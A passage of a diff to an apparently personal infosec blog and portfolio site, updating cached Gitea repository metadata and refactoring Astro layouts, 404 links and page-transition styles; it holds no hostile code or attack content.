"default_merge_style": "merge",
|
||||
"default_allow_maintainer_edit": false,
|
||||
"avatar_url": "",
|
||||
"internal": false,
|
||||
"mirror_interval": "8h0m0s",
|
||||
"object_format_name": "sha1",
|
||||
"mirror_updated": "2026-05-07T12:42:33+02:00",
|
||||
"topics": [
|
||||
"bubbletea",
|
||||
"tui",
|
||||
"usbguard"
|
||||
],
|
||||
"licenses": [
|
||||
"MIT"
|
||||
],
|
||||
"mirrors": {
|
||||
"github": "https://github.com/anotherhadi/usbguard-tui",
|
||||
"gitlab": "https://gitlab.com/anotherhadi_mirror/usbguard-tui"
|
||||
},
|
||||
"banner_url": "https://git.hadi.icu/anotherhadi/usbguard-tui/raw/branch/main/.github/assets/banner.png"
|
||||
},
|
||||
{
|
||||
"id": 3,
|
||||
"owner": {
|
||||
"id": 1,
|
||||
"login": "anotherhadi",
|
||||
"login_name": "",
|
||||
"source_id": 0,
|
||||
"full_name": "Hadi",
|
||||
"email": "1+anotherhadi@noreply.git.hadi.icu",
|
||||
"avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae",
|
||||
"html_url": "https://git.hadi.icu/anotherhadi",
|
||||
"language": "",
|
||||
"is_admin": false,
|
||||
"last_login": "0001-01-01T00:00:00Z",
|
||||
"created": "2026-03-30T17:21:50+02:00",
|
||||
"restricted": false,
|
||||
"active": false,
|
||||
"prohibit_login": false,
|
||||
"location": "127.0.0.1",
|
||||
"website": "https://hadi.icu",
|
||||
"description": "Infosec engineer passionate about Linux/NixOS, blockchains, OSINT & FOSS. Hacking with Go, exploring open tech, and contributing whenever I can 🐧\r\n\r\n[Github](https://github.com/anotherhadi) | [Gitlab (mirror)](https://gitlab.com/anotherhadi_mirror)",
|
||||
"visibility": "public",
|
||||
"followers_count": 0,
|
||||
"following_count": 0,
|
||||
"starred_repos_count": 0,
|
||||
"username": "anotherhadi"
|
||||
},
|
||||
"name": "blog",
|
||||
"full_name": "anotherhadi/blog",
|
||||
"description": "Thoughts, insights, and tutorials on cybersecurity, OSINT, and technology.",
|
||||
"empty": false,
|
||||
"private": false,
|
||||
"fork": false,
|
||||
"template": false,
|
||||
"mirror": true,
|
||||
"size": 3863,
|
||||
"language": "Nix",
|
||||
"languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/blog/languages",
|
||||
"html_url": "https://git.hadi.icu/anotherhadi/blog",
|
||||
"url": "https://git.hadi.icu/api/v1/repos/anotherhadi/blog",
|
||||
"link": "",
|
||||
"ssh_url": "gitea@git.hadi.icu:anotherhadi/blog.git",
|
||||
"clone_url": "https://git.hadi.icu/anotherhadi/blog.git",
|
||||
"original_url": "https://github.com/anotherhadi/blog",
|
||||
"website": "https://hadi.icu",
|
||||
"stars_count": 0,
|
||||
"forks_count": 0,
|
||||
"watchers_count": 1,
|
||||
"branch_count": 1,
|
||||
"open_issues_count": 0,
|
||||
"open_pr_counter": 0,
|
||||
"release_counter": 0,
|
||||
"default_branch": "main",
|
||||
"archived": false,
|
||||
"created_at": "2026-03-30T17:39:47+02:00",
|
||||
"updated_at": "2026-05-04T17:03:05+02:00",
|
||||
"archived_at": "1970-01-01T01:00:00+01:00",
|
||||
"permissions": {
|
||||
"admin": false,
|
||||
"push": false,
|
||||
"pull": true
|
||||
},
|
||||
"has_code": true,
|
||||
"has_issues": true,
|
||||
"internal_tracker": {
|
||||
"enable_time_tracker": true,
|
||||
"allow_only_contributors_to_track_time": true,
|
||||
"enable_issue_dependencies": true
|
||||
},
|
||||
"has_wiki": true,
|
||||
"has_pull_requests": false,
|
||||
"has_projects": true,
|
||||
"projects_mode": "all",
|
||||
"has_releases": true,
|
||||
"has_packages": true,
|
||||
"has_actions": false,
|
||||
"ignore_whitespace_conflicts": false,
|
||||
"allow_merge_commits": false,
|
||||
"allow_rebase": false,
|
||||
"allow_rebase_explicit": false,
|
||||
"allow_squash_merge": false,
|
||||
"allow_fast_forward_only_merge": false,
|
||||
"allow_rebase_update": false,
|
||||
"allow_manual_merge": true,
|
||||
"autodetect_manual_merge": false,
|
||||
"default_delete_branch_after_merge": false,
|
||||
"default_merge_style": "merge",
|
||||
"default_allow_maintainer_edit": false,
|
||||
"avatar_url": "https://git.hadi.icu/repo-avatars/527f936266a33d3ccfe22013ef2ca0f61e20a4941912b16e4b4e9dcb14bf4e30",
|
||||
"internal": false,
|
||||
"mirror_interval": "8h0m0s",
|
||||
"object_format_name": "sha1",
|
||||
"mirror_updated": "2026-05-07T17:22:32+02:00",
|
||||
"topics": [
|
||||
"blog",
|
||||
"cybersecurity",
|
||||
"portfolio"
|
||||
],
|
||||
"licenses": [
|
||||
"MIT"
|
||||
],
|
||||
"mirrors": {
|
||||
"github": "https://github.com/anotherhadi/blog",
|
||||
"gitlab": "https://gitlab.com/anotherhadi_mirror/blog"
|
||||
},
|
||||
"banner_url": "https://git.hadi.icu/anotherhadi/blog/raw/branch/main/.github/assets/banner.png"
|
||||
},
|
||||
{
|
||||
"id": 6,
|
||||
"owner": {
|
||||
@@ -114,7 +329,7 @@
|
||||
"login_name": "",
|
||||
"source_id": 0,
|
||||
"full_name": "Hadi",
|
||||
"email": "anotherhadi@noreply.git.hadi.icu",
|
||||
"email": "1+anotherhadi@noreply.git.hadi.icu",
|
||||
"avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae",
|
||||
"html_url": "https://git.hadi.icu/anotherhadi",
|
||||
"language": "",
|
||||
@@ -141,7 +356,7 @@
|
||||
"fork": false,
|
||||
"template": false,
|
||||
"mirror": true,
|
||||
"size": 676,
|
||||
"size": 681,
|
||||
"language": "Svelte",
|
||||
"languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/iknowyou/languages",
|
||||
"html_url": "https://git.hadi.icu/anotherhadi/iknowyou",
|
||||
@@ -154,6 +369,7 @@
|
||||
"stars_count": 0,
|
||||
"forks_count": 0,
|
||||
"watchers_count": 1,
|
||||
"branch_count": 2,
|
||||
"open_issues_count": 0,
|
||||
"open_pr_counter": 0,
|
||||
"release_counter": 0,
|
||||
@@ -197,7 +413,7 @@
|
||||
"internal": false,
|
||||
"mirror_interval": "8h0m0s",
|
||||
"object_format_name": "sha1",
|
||||
"mirror_updated": "2026-04-23T14:17:25+02:00",
|
||||
"mirror_updated": "2026-05-07T20:02:34+02:00",
|
||||
"topics": [
|
||||
"osint",
|
||||
"osint-tool"
|
||||
@@ -211,112 +427,6 @@
|
||||
},
|
||||
"banner_url": "https://git.hadi.icu/anotherhadi/iknowyou/raw/branch/main/.github/assets/banner.png"
|
||||
},
|
||||
{
|
||||
"id": 3,
|
||||
"owner": {
|
||||
"id": 1,
|
||||
"login": "anotherhadi",
|
||||
"login_name": "",
|
||||
"source_id": 0,
|
||||
"full_name": "Hadi",
|
||||
"email": "anotherhadi@noreply.git.hadi.icu",
|
||||
"avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae",
|
||||
"html_url": "https://git.hadi.icu/anotherhadi",
|
||||
"language": "",
|
||||
"is_admin": false,
|
||||
"last_login": "0001-01-01T00:00:00Z",
|
||||
"created": "2026-03-30T17:21:50+02:00",
|
||||
"restricted": false,
|
||||
"active": false,
|
||||
"prohibit_login": false,
|
||||
"location": "127.0.0.1",
|
||||
"website": "https://hadi.icu",
|
||||
"description": "Infosec engineer passionate about Linux/NixOS, blockchains, OSINT & FOSS. Hacking with Go, exploring open tech, and contributing whenever I can 🐧\r\n\r\n[Github](https://github.com/anotherhadi) | [Gitlab (mirror)](https://gitlab.com/anotherhadi_mirror)",
|
||||
"visibility": "public",
|
||||
"followers_count": 0,
|
||||
"following_count": 0,
|
||||
"starred_repos_count": 0,
|
||||
"username": "anotherhadi"
|
||||
},
|
||||
"name": "blog",
|
||||
"full_name": "anotherhadi/blog",
|
||||
"description": "Thoughts, insights, and tutorials on cybersecurity, OSINT, and technology.",
|
||||
"empty": false,
|
||||
"private": false,
|
||||
"fork": false,
|
||||
"template": false,
|
||||
"mirror": true,
|
||||
"size": 3009,
|
||||
"language": "Nix",
|
||||
"languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/blog/languages",
|
||||
"html_url": "https://git.hadi.icu/anotherhadi/blog",
|
||||
"url": "https://git.hadi.icu/api/v1/repos/anotherhadi/blog",
|
||||
"link": "",
|
||||
"ssh_url": "gitea@git.hadi.icu:anotherhadi/blog.git",
|
||||
"clone_url": "https://git.hadi.icu/anotherhadi/blog.git",
|
||||
"original_url": "https://github.com/anotherhadi/blog",
|
||||
"website": "https://hadi.icu",
|
||||
"stars_count": 0,
|
||||
"forks_count": 0,
|
||||
"watchers_count": 1,
|
||||
"open_issues_count": 0,
|
||||
"open_pr_counter": 0,
|
||||
"release_counter": 0,
|
||||
"default_branch": "main",
|
||||
"archived": false,
|
||||
"created_at": "2026-03-30T17:39:47+02:00",
|
||||
"updated_at": "2026-04-11T17:35:02+02:00",
|
||||
"archived_at": "1970-01-01T01:00:00+01:00",
|
||||
"permissions": {
|
||||
"admin": false,
|
||||
"push": false,
|
||||
"pull": true
|
||||
},
|
||||
"has_code": true,
|
||||
"has_issues": true,
|
||||
"internal_tracker": {
|
||||
"enable_time_tracker": true,
|
||||
"allow_only_contributors_to_track_time": true,
|
||||
"enable_issue_dependencies": true
|
||||
},
|
||||
"has_wiki": true,
|
||||
"has_pull_requests": false,
|
||||
"has_projects": true,
|
||||
"projects_mode": "all",
|
||||
"has_releases": true,
|
||||
"has_packages": true,
|
||||
"has_actions": false,
|
||||
"ignore_whitespace_conflicts": false,
|
||||
"allow_merge_commits": false,
|
||||
"allow_rebase": false,
|
||||
"allow_rebase_explicit": false,
|
||||
"allow_squash_merge": false,
|
||||
"allow_fast_forward_only_merge": false,
|
||||
"allow_rebase_update": false,
|
||||
"allow_manual_merge": true,
|
||||
"autodetect_manual_merge": false,
|
||||
"default_delete_branch_after_merge": false,
|
||||
"default_merge_style": "merge",
|
||||
"default_allow_maintainer_edit": false,
|
||||
"avatar_url": "https://git.hadi.icu/repo-avatars/527f936266a33d3ccfe22013ef2ca0f61e20a4941912b16e4b4e9dcb14bf4e30",
|
||||
"internal": false,
|
||||
"mirror_interval": "8h0m0s",
|
||||
"object_format_name": "sha1",
|
||||
"mirror_updated": "2026-04-23T11:17:26+02:00",
|
||||
"topics": [
|
||||
"blog",
|
||||
"cybersecurity",
|
||||
"portfolio"
|
||||
],
|
||||
"licenses": [
|
||||
"MIT"
|
||||
],
|
||||
"mirrors": {
|
||||
"github": "https://github.com/anotherhadi/blog",
|
||||
"gitlab": "https://gitlab.com/anotherhadi_mirror/blog"
|
||||
},
|
||||
"banner_url": "https://git.hadi.icu/anotherhadi/blog/raw/branch/main/.github/assets/banner.png"
|
||||
},
|
||||
{
|
||||
"id": 2,
|
||||
"owner": {
|
||||
@@ -325,7 +435,7 @@
|
||||
"login_name": "",
|
||||
"source_id": 0,
|
||||
"full_name": "Hadi",
|
||||
"email": "anotherhadi@noreply.git.hadi.icu",
|
||||
"email": "1+anotherhadi@noreply.git.hadi.icu",
|
||||
"avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae",
|
||||
"html_url": "https://git.hadi.icu/anotherhadi",
|
||||
"language": "",
|
||||
@@ -352,7 +462,7 @@
|
||||
"fork": false,
|
||||
"template": false,
|
||||
"mirror": true,
|
||||
"size": 530,
|
||||
"size": 535,
|
||||
"language": "Nix",
|
||||
"languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/default-creds/languages",
|
||||
"html_url": "https://git.hadi.icu/anotherhadi/default-creds",
|
||||
@@ -365,6 +475,7 @@
|
||||
"stars_count": 0,
|
||||
"forks_count": 0,
|
||||
"watchers_count": 1,
|
||||
"branch_count": 1,
|
||||
"open_issues_count": 0,
|
||||
"open_pr_counter": 0,
|
||||
"release_counter": 0,
|
||||
@@ -408,7 +519,7 @@
|
||||
"internal": false,
|
||||
"mirror_interval": "8h0m0s",
|
||||
"object_format_name": "sha1",
|
||||
"mirror_updated": "2026-04-23T11:17:25+02:00",
|
||||
"mirror_updated": "2026-05-07T17:12:33+02:00",
|
||||
"topics": [
|
||||
"cybersecurity",
|
||||
"cybersecurity-tools",
|
||||
@@ -432,7 +543,7 @@
|
||||
"login_name": "",
|
||||
"source_id": 0,
|
||||
"full_name": "Hadi",
|
||||
"email": "anotherhadi@noreply.git.hadi.icu",
|
||||
"email": "1+anotherhadi@noreply.git.hadi.icu",
|
||||
"avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae",
|
||||
"html_url": "https://git.hadi.icu/anotherhadi",
|
||||
"language": "",
|
||||
@@ -472,6 +583,7 @@
|
||||
"stars_count": 0,
|
||||
"forks_count": 0,
|
||||
"watchers_count": 1,
|
||||
"branch_count": 1,
|
||||
"open_issues_count": 0,
|
||||
"open_pr_counter": 0,
|
||||
"release_counter": 0,
|
||||
|
||||
@@ -5,6 +5,8 @@ import TagBadge from "../components/TagBadge.astro";
|
||||
import BackToTop from "../components/BackToTop.astro";
|
||||
import { ChevronLeft } from "@lucide/astro";
|
||||
import { parse } from "node-html-parser";
|
||||
import Author from "../components/Author.astro";
|
||||
import { formatDate } from "../utils/notes";
|
||||
|
||||
interface Props {
|
||||
title: string;
|
||||
@@ -18,18 +20,9 @@ interface Props {
|
||||
const { title, description, publishDate, updatedDate, image, tags } =
|
||||
Astro.props;
|
||||
|
||||
function formatDate(date: Date) {
|
||||
return date.toLocaleDateString("en-US", {
|
||||
month: "long",
|
||||
day: "numeric",
|
||||
year: "numeric",
|
||||
});
|
||||
}
|
||||
|
||||
// Calculate reading time (rough estimate based on word count)
|
||||
const content = await Astro.slots.render("default");
|
||||
const wordCount = content.split(/\s+/).length;
|
||||
const readingTime = Math.ceil(wordCount / 200); // Average reading speed: 200 words/min
|
||||
const readingTime = Math.ceil(wordCount / 200);
|
||||
|
||||
const root = parse(content);
|
||||
const headers = root.querySelectorAll("h1, h2, h3");
|
||||
@@ -37,14 +30,14 @@ const headers = root.querySelectorAll("h1, h2, h3");
|
||||
const toc = headers.map((header) => ({
|
||||
depth: parseInt(header.tagName.replace("H", "")),
|
||||
text: header.innerText.trim(),
|
||||
slug: header.getAttribute("id"), // Astro génère l'id automatiquement
|
||||
slug: header.getAttribute("id"),
|
||||
}));
|
||||
---
|
||||
|
||||
<Layout title={`${title} - Another Hadi`} description={description}>
|
||||
<article class="max-w-4xl mx-auto px-4 py-20">
|
||||
<BackToTop />
|
||||
<!-- Back button -->
|
||||
|
||||
<div class="mb-8">
|
||||
<a href="/blog" class="btn btn-ghost btn-sm">
|
||||
<ChevronLeft size={18} />
|
||||
@@ -52,7 +45,6 @@ const toc = headers.map((header) => ({
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<!-- Featured Image -->
|
||||
{
|
||||
image && (
|
||||
<figure class="mb-8 rounded-2xl overflow-hidden">
|
||||
@@ -67,13 +59,12 @@ const toc = headers.map((header) => ({
|
||||
)
|
||||
}
|
||||
|
||||
<!-- Post Header -->
|
||||
<header class="mb-8">
|
||||
<h1 class="text-5xl font-bold mb-4">{title}</h1>
|
||||
<p class="text-xl text-base-content/70 mb-4">{description}</p>
|
||||
|
||||
<div
|
||||
class="flex flex-wrap items-center gap-4 text-sm text-base-content/60"
|
||||
class="flex flex-wrap items-center gap-4 text-sm text-base-content/60 mb-4"
|
||||
>
|
||||
<time datetime={publishDate.toISOString()}>
|
||||
{formatDate(publishDate)}
|
||||
@@ -92,24 +83,23 @@ const toc = headers.map((header) => ({
|
||||
|
||||
{
|
||||
tags && tags.length > 0 && (
|
||||
<div class="flex flex-wrap gap-2 mt-4">
|
||||
<div class="flex flex-wrap gap-2 mb-4">
|
||||
{tags.map((tag) => (
|
||||
<TagBadge tag={tag} />
|
||||
))}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
<Author />
|
||||
</header>
|
||||
|
||||
<!-- Divider -->
|
||||
<div class="divider"></div>
|
||||
|
||||
<!-- TOC -->
|
||||
{
|
||||
toc.length > 0 && (
|
||||
<div class="collapse bg-base-200/50 rounded-xl mb-8 border border-base-300">
|
||||
<input type="checkbox" />
|
||||
|
||||
<p class="collapse-title font-bold uppercase text-xs tracking-widest opacity-60">
|
||||
Table of Contents
|
||||
</p>
|
||||
@@ -131,12 +121,9 @@ const toc = headers.map((header) => ({
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<nav class="bg-base-200/50 ">
|
||||
</nav>
|
||||
)
|
||||
}
|
||||
|
||||
<!-- Post Content -->
|
||||
<div
|
||||
class="max-w-none leading-7
|
||||
[&_h1]:text-4xl [&_h1]:font-bold [&_h1]:mt-8 [&_h1]:mb-4
|
||||
@@ -160,17 +147,17 @@ const toc = headers.map((header) => ({
|
||||
<slot />
|
||||
</div>
|
||||
|
||||
<!-- Divider -->
|
||||
<div class="divider mt-12"></div>
|
||||
|
||||
<!-- Back to blog link -->
|
||||
<div class="flex justify-center gap-2 mt-12">
|
||||
<div class="flex gap-3 justify-center flex-wrap text-sm">
|
||||
<a href="/blog" class="link link-hover">View All Posts</a>
|
||||
<span class="text-base-content/30">•</span>
|
||||
<a href="/#contact" class="link link-hover">Contact me</a>
|
||||
<span class="text-base-content/30">•</span>
|
||||
<a href="https://ko-fi.com/anotherhadi" class="link link-hover">Support me</a>
|
||||
<a href="https://ko-fi.com/anotherhadi" class="link link-hover"
|
||||
>Support me</a
|
||||
>
|
||||
</div>
|
||||
</div>
|
||||
</article>
|
||||
|
||||
@@ -15,26 +15,11 @@ const {
|
||||
description = "Infosec engineer passionate about Linux/NixOS, blockchains, OSINT & FOSS. Hacking with Go, exploring open tech, and contributing whenever I can 🐧",
|
||||
} = Astro.props;
|
||||
|
||||
// Custom blur-fade animation configuration
|
||||
const blurFadeAnimation = {
|
||||
old: {
|
||||
name: "blurFadeOut",
|
||||
duration: "0.1s",
|
||||
easing: "ease-in-out",
|
||||
fillMode: "forwards",
|
||||
},
|
||||
new: {
|
||||
name: "blurFadeIn",
|
||||
duration: "0.1s",
|
||||
easing: "ease-in-out",
|
||||
fillMode: "backwards",
|
||||
},
|
||||
};
|
||||
|
||||
const pageTransition = {
|
||||
forwards: blurFadeAnimation,
|
||||
backwards: blurFadeAnimation,
|
||||
const anim = {
|
||||
old: { name: "blurFadeOut", duration: "0.1s", easing: "ease-in-out", fillMode: "forwards" },
|
||||
new: { name: "blurFadeIn", duration: "0.1s", easing: "ease-in-out", fillMode: "backwards" },
|
||||
};
|
||||
const pageTransition = { forwards: anim, backwards: anim };
|
||||
|
||||
const origin = Astro.url.origin;
|
||||
---
|
||||
@@ -49,23 +34,19 @@ const origin = Astro.url.origin;
|
||||
<meta name="generator" content={Astro.generator} />
|
||||
<title>{title}</title>
|
||||
|
||||
<!-- View Transitions -->
|
||||
<ClientRouter />
|
||||
|
||||
<!-- Open Graph / Social Media -->
|
||||
<meta property="og:title" content={title} />
|
||||
<meta property="og:description" content={description} />
|
||||
<meta property="og:type" content="website" />
|
||||
<meta property="og:url" content={origin} />
|
||||
<meta property="og:image" content={`${origin}/images/og_home.png`} />
|
||||
|
||||
<!-- Twitter -->
|
||||
<meta name="twitter:card" content="summary_large_image" />
|
||||
<meta name="twitter:title" content={title} />
|
||||
<meta name="twitter:description" content={description} />
|
||||
<meta name="twitter:image" content={`${origin}/images/og_home.png`} />
|
||||
|
||||
<!-- RSS Feed -->
|
||||
<link
|
||||
rel="alternate"
|
||||
type="application/rss+xml"
|
||||
@@ -78,8 +59,7 @@ const origin = Astro.url.origin;
|
||||
defer
|
||||
src="https://umami.hadi.icu/script.js"
|
||||
data-website-id="91b0c3a1-130a-4974-be47-078bc092cec8"
|
||||
data-domains="hadi.icu,www.hadi.icu"
|
||||
></script>
|
||||
data-domains="hadi.icu,www.hadi.icu"></script>
|
||||
</head>
|
||||
<body class="min-h-screen pt-12">
|
||||
<Navbar />
|
||||
@@ -88,13 +68,11 @@ const origin = Astro.url.origin;
|
||||
<Oneko />
|
||||
<Console />
|
||||
|
||||
<!-- Smooth Scroll -->
|
||||
<style is:global>
|
||||
html {
|
||||
scroll-behavior: smooth;
|
||||
}
|
||||
|
||||
/* Initial Page Load Blur-Fade Animation */
|
||||
@keyframes pageLoadBlurFade {
|
||||
0% {
|
||||
opacity: 0;
|
||||
@@ -107,11 +85,10 @@ const origin = Astro.url.origin;
|
||||
}
|
||||
|
||||
html {
|
||||
animation: pageLoadBlurFade 0.3s ease-in-out;
|
||||
animation: pageLoadBlurFade 0.1s ease-in-out;
|
||||
animation-fill-mode: both;
|
||||
}
|
||||
|
||||
/* Blur Fade View Transitions (for page-to-page navigation) */
|
||||
@keyframes blurFadeIn {
|
||||
0% {
|
||||
opacity: 0;
|
||||
|
||||
@@ -1,231 +0,0 @@
|
||||
---
|
||||
import Layout from "./Layout.astro";
|
||||
import { Image } from "astro:assets";
|
||||
import TagBadge from "../components/TagBadge.astro";
|
||||
import { ChevronLeft, ExternalLink } from "@lucide/astro";
|
||||
|
||||
interface Props {
|
||||
title: string;
|
||||
description: string;
|
||||
image: any;
|
||||
tags: string[];
|
||||
demoLink?: string;
|
||||
url?: string;
|
||||
sourceLink?: string;
|
||||
}
|
||||
|
||||
const { title, description, image, tags, demoLink, url, sourceLink } =
|
||||
Astro.props;
|
||||
---
|
||||
|
||||
<Layout title={`${title} - Another Hadi`} description={description}>
|
||||
<article class="max-w-4xl mx-auto px-4 py-20">
|
||||
<!-- Back button -->
|
||||
<div class="mb-8 flex flex-wrap justify-between gap-5">
|
||||
<a href="/projects" class="btn btn-ghost btn-sm">
|
||||
<ChevronLeft size={18} />
|
||||
Back to Projects
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<!-- Featured Image -->
|
||||
<!-- TODO: Future Enhancement - Support multiple images/project gallery -->
|
||||
{
|
||||
image && (
|
||||
<figure class="mb-8 rounded-2xl overflow-hidden">
|
||||
<Image
|
||||
src={image}
|
||||
alt={title}
|
||||
class="w-full aspect-video object-cover"
|
||||
width={1200}
|
||||
height={630}
|
||||
/>
|
||||
</figure>
|
||||
)
|
||||
}
|
||||
|
||||
<!-- Project Header -->
|
||||
<header class="mb-8">
|
||||
<h1 class="text-5xl font-bold mb-4">{title}</h1>
|
||||
<p class="text-xl text-base-content/70 mb-6">{description}</p>
|
||||
|
||||
<!-- Prominent Action Buttons -->
|
||||
{
|
||||
(demoLink || sourceLink) && (
|
||||
<div class="flex flex-wrap gap-3 mb-6">
|
||||
{demoLink && (
|
||||
<a
|
||||
href={demoLink}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
class="btn btn-primary gap-2"
|
||||
>
|
||||
<ExternalLink class="size-5" />
|
||||
Live Demo
|
||||
</a>
|
||||
)}
|
||||
{url && (
|
||||
<a
|
||||
href={url}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
class="btn btn-soft gap-2"
|
||||
>
|
||||
<ExternalLink class="size-4" />
|
||||
Website
|
||||
</a>
|
||||
)}
|
||||
{sourceLink && (
|
||||
<a
|
||||
href={sourceLink}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
class="btn btn-soft gap-2"
|
||||
>
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="24"
|
||||
height="24"
|
||||
viewBox="0 0 32 32"
|
||||
fill="currentColor"
|
||||
>
|
||||
<path d="M16,2.345c7.735,0,14,6.265,14,14-.002,6.015-3.839,11.359-9.537,13.282-.7,.14-.963-.298-.963-.665,0-.473,.018-1.978,.018-3.85,0-1.312-.437-2.152-.945-2.59,3.115-.35,6.388-1.54,6.388-6.912,0-1.54-.543-2.783-1.435-3.762,.14-.35,.63-1.785-.14-3.71,0,0-1.173-.385-3.85,1.435-1.12-.315-2.31-.472-3.5-.472s-2.38,.157-3.5,.472c-2.677-1.802-3.85-1.435-3.85-1.435-.77,1.925-.28,3.36-.14,3.71-.892,.98-1.435,2.24-1.435,3.762,0,5.355,3.255,6.563,6.37,6.913-.403,.35-.77,.963-.893,1.872-.805,.368-2.818,.963-4.077-1.155-.263-.42-1.05-1.452-2.152-1.435-1.173,.018-.472,.665,.017,.927,.595,.332,1.277,1.575,1.435,1.978,.28,.787,1.19,2.293,4.707,1.645,0,1.173,.018,2.275,.018,2.607,0,.368-.263,.787-.963,.665-5.719-1.904-9.576-7.255-9.573-13.283,0-7.735,6.265-14,14-14Z" />
|
||||
</svg>
|
||||
View Source
|
||||
</a>
|
||||
)}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
</header>
|
||||
|
||||
<!-- Tags -->
|
||||
{
|
||||
tags && tags.length > 0 && (
|
||||
<div class="flex flex-wrap gap-2 mt-4">
|
||||
{tags.map((tag) => (
|
||||
<TagBadge tag={tag} />
|
||||
))}
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
<!-- Divider -->
|
||||
<div class="divider"></div>
|
||||
|
||||
<!-- Project Content -->
|
||||
<div class="prose-content max-w-none">
|
||||
<slot />
|
||||
</div>
|
||||
|
||||
<!-- Divider -->
|
||||
<div class="divider mt-12"></div>
|
||||
|
||||
<!-- Back to projects link -->
|
||||
<div class="flex justify-center gap-2 mt-12">
|
||||
<div class="flex gap-3 justify-center flex-wrap text-sm">
|
||||
<a href="/projects" class="link link-hover"
|
||||
>View All Projects</a
|
||||
>
|
||||
<span class="text-base-content/30">•</span>
|
||||
<a href="/#contact" class="link link-hover">Contact me</a>
|
||||
<span class="text-base-content/30">•</span>
|
||||
<a href="https://ko-fi.com/anotherhadi" class="link link-hover"
|
||||
>Support me</a
|
||||
>
|
||||
</div>
|
||||
</div>
|
||||
</article>
|
||||
</Layout>
|
||||
|
||||
<style is:global>
|
||||
.prose-content {
|
||||
color: inherit;
|
||||
line-height: 1.75;
|
||||
}
|
||||
|
||||
.prose-content h1,
|
||||
.prose-content h2,
|
||||
.prose-content h3,
|
||||
.prose-content h4,
|
||||
.prose-content h5,
|
||||
.prose-content h6 {
|
||||
font-weight: 700;
|
||||
margin-top: 2rem;
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.prose-content h1 {
|
||||
font-size: 2.25rem;
|
||||
}
|
||||
|
||||
.prose-content h2 {
|
||||
font-size: 1.875rem;
|
||||
}
|
||||
|
||||
.prose-content h3 {
|
||||
font-size: 1.5rem;
|
||||
}
|
||||
|
||||
.prose-content p {
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.prose-content a {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.prose-content ul,
|
||||
.prose-content ol {
|
||||
margin-bottom: 1rem;
|
||||
margin-left: 1.5rem;
|
||||
list-style-position: outside;
|
||||
}
|
||||
|
||||
.prose-content ul {
|
||||
list-style-type: disc;
|
||||
}
|
||||
|
||||
.prose-content ol {
|
||||
list-style-type: decimal;
|
||||
}
|
||||
|
||||
.prose-content li {
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
.prose-content code {
|
||||
padding: 0.125rem 0.375rem;
|
||||
border-radius: 0.25rem;
|
||||
font-size: 0.875rem;
|
||||
font-family: ui-monospace, monospace;
|
||||
}
|
||||
|
||||
.prose-content pre {
|
||||
padding: 1rem;
|
||||
border-radius: 0.5rem;
|
||||
overflow-x: auto;
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.prose-content pre code {
|
||||
background: transparent;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.prose-content blockquote {
|
||||
border-left-width: 4px;
|
||||
padding-left: 1rem;
|
||||
font-style: italic;
|
||||
margin: 1rem 0;
|
||||
}
|
||||
|
||||
.prose-content img {
|
||||
border-radius: 0.5rem;
|
||||
margin: 1.5rem 0;
|
||||
}
|
||||
|
||||
.prose-content strong {
|
||||
font-weight: 600;
|
||||
}
|
||||
</style>
|
||||
+3
-5
@@ -30,10 +30,6 @@ import { House, FolderOpen } from "@lucide/astro";
|
||||
<House class="size-5" />
|
||||
Go Home
|
||||
</a>
|
||||
<a href="/projects" class="btn btn-outline gap-2">
|
||||
<FolderOpen class="size-5" />
|
||||
View Projects
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<!-- Helpful Links -->
|
||||
@@ -44,7 +40,9 @@ import { House, FolderOpen } from "@lucide/astro";
|
||||
<div class="flex gap-3 justify-center flex-wrap text-sm">
|
||||
<a href="/blog" class="link link-hover">Blog</a>
|
||||
<span class="text-base-content/30">•</span>
|
||||
<a href="/projects" class="link link-hover">All my Projects</a>
|
||||
<a href="/projects" class="link link-hover">Projects</a>
|
||||
<span class="text-base-content/30">•</span>
|
||||
<a href="/notes" class="link link-hover">Infosec Notes</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
+3
-5
@@ -30,10 +30,6 @@ import { House, FolderOpen } from "@lucide/astro";
|
||||
<House class="size-5" />
|
||||
Go Home
|
||||
</a>
|
||||
<a href="/projects" class="btn btn-outline gap-2">
|
||||
<FolderOpen class="size-5" />
|
||||
View Projects
|
||||
</a>
|
||||
</div>
|
||||
|
||||
<!-- Helpful Links -->
|
||||
@@ -44,7 +40,9 @@ import { House, FolderOpen } from "@lucide/astro";
|
||||
<div class="flex gap-3 justify-center flex-wrap text-sm">
|
||||
<a href="/blog" class="link link-hover">Blog</a>
|
||||
<span class="text-base-content/30">•</span>
|
||||
<a href="/projects" class="link link-hover">All my Projects</a>
|
||||
<a href="/projects" class="link link-hover">Projects</a>
|
||||
